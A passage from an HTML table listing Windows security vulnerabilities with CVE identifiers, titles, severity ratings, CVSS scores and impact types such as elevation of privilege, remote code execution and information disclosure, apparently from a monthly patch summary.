  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
